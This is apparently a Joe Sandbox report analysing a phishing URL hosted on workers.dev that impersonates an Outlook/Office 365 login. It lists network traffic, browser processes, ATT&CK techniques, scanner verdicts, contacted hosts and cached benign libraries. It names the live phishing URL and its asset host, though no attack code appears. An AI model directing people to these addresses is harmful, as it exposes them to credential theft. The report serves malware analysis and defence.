Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 104.78.251.135:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.78.251.135:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.4:49796 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.win@28/56@34/12

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2508,i,4636836188414927447,16714986205037523390,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2012,i,7318852608262930220,3834524874699914710,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=2040,i,5691023156427360077,958641003672475286,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cloudsss-c367.iardainwkasn.workers.dev/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2508,i,4636836188414927447,16714986205037523390,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2012,i,7318852608262930220,3834524874699914710,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=2040,i,5691023156427360077,958641003672475286,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Extra Window Memory Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://cloudsss-c367.iardainwkasn.workers.dev/	100%	Avira URL Cloud	phishing
https://cloudsss-c367.iardainwkasn.workers.dev/	17%	Virustotal		Browse
https://cloudsss-c367.iardainwkasn.workers.dev/	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
blob:https://cloudsss-c367.iardainwkasn.workers.dev/dac3b7a0-1876-4093-980e-615a0cd9fbe2	0%	Avira URL Cloud	safe
https://hiirscktcy.web.app/init-background.jpeg	0%	Avira URL Cloud	safe
https://image.similarpng.com/very-thumbnail/2021/09/Outlook-icon-on-transparent-background-PNG.png	0%	Avira URL Cloud	safe
https://img2.pngdownload.id/20180327/wfq/kisspng-microsoft-office-365-office-online-computer-softwa-office-5abb01d66a0b39.1638325715222051424344.jpg	0%	Avira URL Cloud	safe
https://hiirscktcy.web.app/background-2.png	0%	Avira URL Cloud	safe
https://www.pinclipart.com/picdir/middle/80-804103_office-365-is-securable-but-not-secure-microsoft.png	0%	Avira URL Cloud	safe
https://getbootstrap.com)	0%	Avira URL Cloud	safe
https://hiirscktcy.web.app/general-style.css	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
similarpng.nyc3.cdn.digitaloceanspaces.com	104.18.42.227	true	false	high
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
code.jquery.com	151.101.2.137	true	false	high
www.pinclipart.com	173.208.137.67	true	false	unknown
hiirscktcy.web.app	199.36.158.100	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
img2.pngdownload.id	104.21.51.164	true	false	unknown
www.google.com	142.250.191.100	true	false	high
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown
cloudsss-c367.iardainwkasn.workers.dev	104.21.35.193	true	false	unknown
blobs.officehome.msocdn.com	unknown	unknown	false	unknown
image.similarpng.com	unknown	unknown	false	unknown
ka-f.fontawesome.com	unknown	unknown	false	high
kit.fontawesome.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.google.com/sorry/index?continue=https://www.google.com/async/ddljson%3Fasync%3Dntp:2&q=EgRRtT5aGNLGu7EGIjCwe3OWMlIbLrAaFHz9bvBUAhQ2bwb0oNT6lyHHBU6jhTnQlT54q8_GMSgQOnJ4LlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	false		high
https://hiirscktcy.web.app/init-background.jpeg	false	Avira URL Cloud: safe	unknown
blob:https://cloudsss-c367.iardainwkasn.workers.dev/dac3b7a0-1876-4093-980e-615a0cd9fbe2	true	Avira URL Cloud: safe	low
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://code.jquery.com/jquery-3.1.1.min.js	false		high
https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRRtT5aGNPGu7EGIjCTBdbxyyM3ZqJf3EonG_zCUB-Pw1QHWLoitfdBvEn-JTC53TE7YFIDf4y0FkKW9oMyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	false		high
https://hiirscktcy.web.app/background-2.png	false	Avira URL Cloud: safe	unknown
https://www.google.com/async/newtab_promos	false		high
https://code.jquery.com/jquery-3.4.1.min.js	false		high
https://cloudsss-c367.iardainwkasn.workers.dev/	true		unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css	false		high
https://img2.pngdownload.id/20180327/wfq/kisspng-microsoft-office-365-office-online-computer-softwa-office-5abb01d66a0b39.1638325715222051424344.jpg	false	Avira URL Cloud: safe	unknown
https://www.google.com/async/ddljson?async=ntp:2	false		high
https://image.similarpng.com/very-thumbnail/2021/09/Outlook-icon-on-transparent-background-PNG.png	false	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://www.pinclipart.com/picdir/middle/80-804103_office-365-is-securable-but-not-secure-microsoft.png	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRRtT5aGNPGu7EGIjD378IR4LJm1qYyyyfU-OncloSsy8H8q9nJ76n0GA5ReGEW23--dpcDluNgBDGYfjwyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://hiirscktcy.web.app/general-style.css	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ka-f.fontawesome.com	chromecache_101.2.dr	false		high
https://fontawesome.com/license/free	chromecache_83.2.dr, chromecache_86.2.dr, chromecache_87.2.dr, chromecache_79.2.dr, chromecache_78.2.dr	false		high
https://fontawesome.com	chromecache_83.2.dr, chromecache_86.2.dr, chromecache_87.2.dr, chromecache_79.2.dr, chromecache_78.2.dr	false		high
https://kit.fontawesome.com	chromecache_101.2.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_100.2.dr	false		high
https://getbootstrap.com)	chromecache_100.2.dr, chromecache_97.2.dr	false	Avira URL Cloud: safe	low
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_100.2.dr, chromecache_97.2.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_76.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
173.208.137.67	www.pinclipart.com	United States	32097	WIIUS	false
172.67.182.162	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.42.227	similarpng.nyc3.cdn.digitaloceanspaces.com	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.51.164	img2.pngdownload.id	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
199.36.158.100	hiirscktcy.web.app	United States	15169	GOOGLEUS	false
104.21.35.193	cloudsss-c367.iardainwkasn.workers.dev	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.191.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1433048
Start date and time:	2024-04-29 02:00:25 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://cloudsss-c367.iardainwkasn.workers.dev/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@28/56@34/12
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.190.99, 142.251.166.84, 172.217.4.46, 34.104.35.123, 142.250.191.106, 172.217.2.42, 104.18.40.68, 172.64.147.188, 142.250.190.131, 199.232.214.172, 104.21.26.223, 172.67.139.119, 142.250.190.110, 192.229.211.108, 172.217.0.174, 23.194.161.97, 20.242.39.171, 20.3.187.198, 172.217.1.99
Excluded domains from analysis (whitelisted): kit.fontawesome.com.cdn.cloudflare.net, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, ka-f.fontawesome.com.cdn.cloudflare.net, slscr.update.microsoft.com, ajax.googleapis.com, fonts.gstatic.com, encrypted-tbn0.gstatic.com, clientservices.googleapis.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, clients2.google.com, e12520.g.akamaiedge.net, edgedl.me.gvt1.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, update.googleapis.com, wildcard.officehome.msocdn.com.edgekey.net, clients.l.google.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11461)
Category:	downloaded
Size (bytes):	11893
Entropy (8bit):	5.198678335763684
Encrypted:	false
SSDEEP:	192:GO3pHufQPTACpF4Pvhzz6E/ra/sb4nZIPWfz3JBGvh3e1Q5l8h6LDeFTjC0:GdRCchzzYfnqejah3e1Q5l8h6vb0
MD5:	55D343A40C7166A79FD314F13CBB2E93
SHA1:	96904A849C32CA220E0AAA2AE3E81CF2B5CDF764
SHA-256:	A1F75D6278713A84A8F28A392C77CA8A6A7C32BF14314D4A34A6CE2F06CFDF7A
SHA-512:	518AC396E7F82899CAB4A6E3CB68116F2B599D680D015A1A8024926BC39E9A5D3ED68935B2150DA33AD41A9103E4CFD5031A7E89036901C972EEE257546BB1C5
Malicious:	false
Reputation:	low
URL:	https://kit.fontawesome.com/585b051251.js
Preview:	window.FontAwesomeKitConfig = {"id":132286382,"version":"5.15.4","token":"585b051251","method":"css","baseUrl":"https://ka-f.fontawesome.com","license":"free","asyncLoading":{"enabled":true},"autoA11y":{"enabled":true},"baseUrlKit":"https://kit.fontawesome.com","detectConflictsUntil":null,"iconUploads":{},"minify":{"enabled":true},"v4FontFaceShim":{"enabled":false},"v4shim":{"enabled":true},"v5FontFaceShim":{"enabled":false}};.!function(t){"function"==typeof define&&define.amd?define("kit-loader",t):t()}((function(){"use strict";function t(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(t);e&&(r=r.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.push.apply(n,r)}return n}function e(e){for(var n=1;n<arguments.length;n++){var o=null!=arguments[n]?arguments[n]:{};n%2?t(Object(o),!0).forEach((function(t){r(e,t,o[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(o)):

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 282x179, components 3
Category:	downloaded
Size (bytes):	4896
Entropy (8bit):	7.879097503936679
Encrypted:	false
SSDEEP:	96:HPEDFz8h5at1xmWwsgQsErte2F9EoFDj4VTQTQasqy4qucCh/QsjdFb8n:HPEDFz8DaHwW0UEmL42QwcCes5FAn
MD5:	55C096DF4A450F1990E5EF99C4487AD0
SHA1:	9BE2024A77ADBE61CA34B5C60506EFD7BD5031F9
SHA-256:	F278759A7BACECD4ACECEE9386BD0937CD0DA327967DE61C48381C8FE9A1963B
SHA-512:	0CBE006F0208283D919F8FF9ED7B73B9A63AA02DBE17123B11071E7CC3105B17F625EA11BC5537D0492BC1FFD1855B5B105956C0B420434467E624570F0700EB
Malicious:	false
Reputation:	low
URL:	https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQEgm6xT0Oa1ZGAnJKTY4Ijvse1mMtUmNS43Ee1fTLRmkzvBaqkRFvykICJdk9KLfVV46Q&usqp=CAU
Preview:	......JFIF..................................................!.%..+...&8&+/1555.$;@;3?.451...........4$$$1441145644114414114444444444414441411414?441141??4..........."........................................I.......................!1Q...A.2aq........."RST..$BCb..3..#Drs.....4cd............................... ........................!1QA".............?..n.;...U.S..qr.x..."..u^........JU.)t..c...i.].V..?.O.. _.U.P.t6......,-..........:+..\|..Kz?.t.:Kj..........N.v.mu.....w........g.8....P._..G}...K.B...sMq..._#....=N.v......../.%...._..T.E\.u..tu...e.......T.dpP...uC.S...iF....)a...../.o....l.........Y.+.q.'K..eJ]d[ .).....u3}.D}....@.7?...#<.s$Fy>..0...,.2..D.E.$ }.$ .C5..8f..p.. U....]....Z.e6.rR.er.&z.v&c.:ju=.....A..jK....=...v..:k..he.4.e.~...\......\|R......l...r...Sm..\.q.dU'....d..t....%+E.8....YEk.scU-.....-.....Y..8..9%7.{Q...1`E.[.z9.J1....JQjq.i...i.>..9....\k~....u....m....t....L..m...x.G...w}.){.Z...(.d.x...,.{"Cs..R..N+.S.._R....8..#f."....*

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 263 x 192, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3974
Entropy (8bit):	7.898852593020052
Encrypted:	false
SSDEEP:	96:M63dcZR0VjR9dRKcH9VQAWL0gU77yAQqAMOtyp7beLzmt:ftcZRyPldV7WL0x7NAPwp7beLSt
MD5:	E7A215FF694499E8C3C24F05CD1B2447
SHA1:	8D24989EA451693DD06BD55F3DB10262CC0025F8
SHA-256:	AC9CA3052E8894414DF2CA5F150F03EA086E07899634A98C9452AE73A86AC9B0
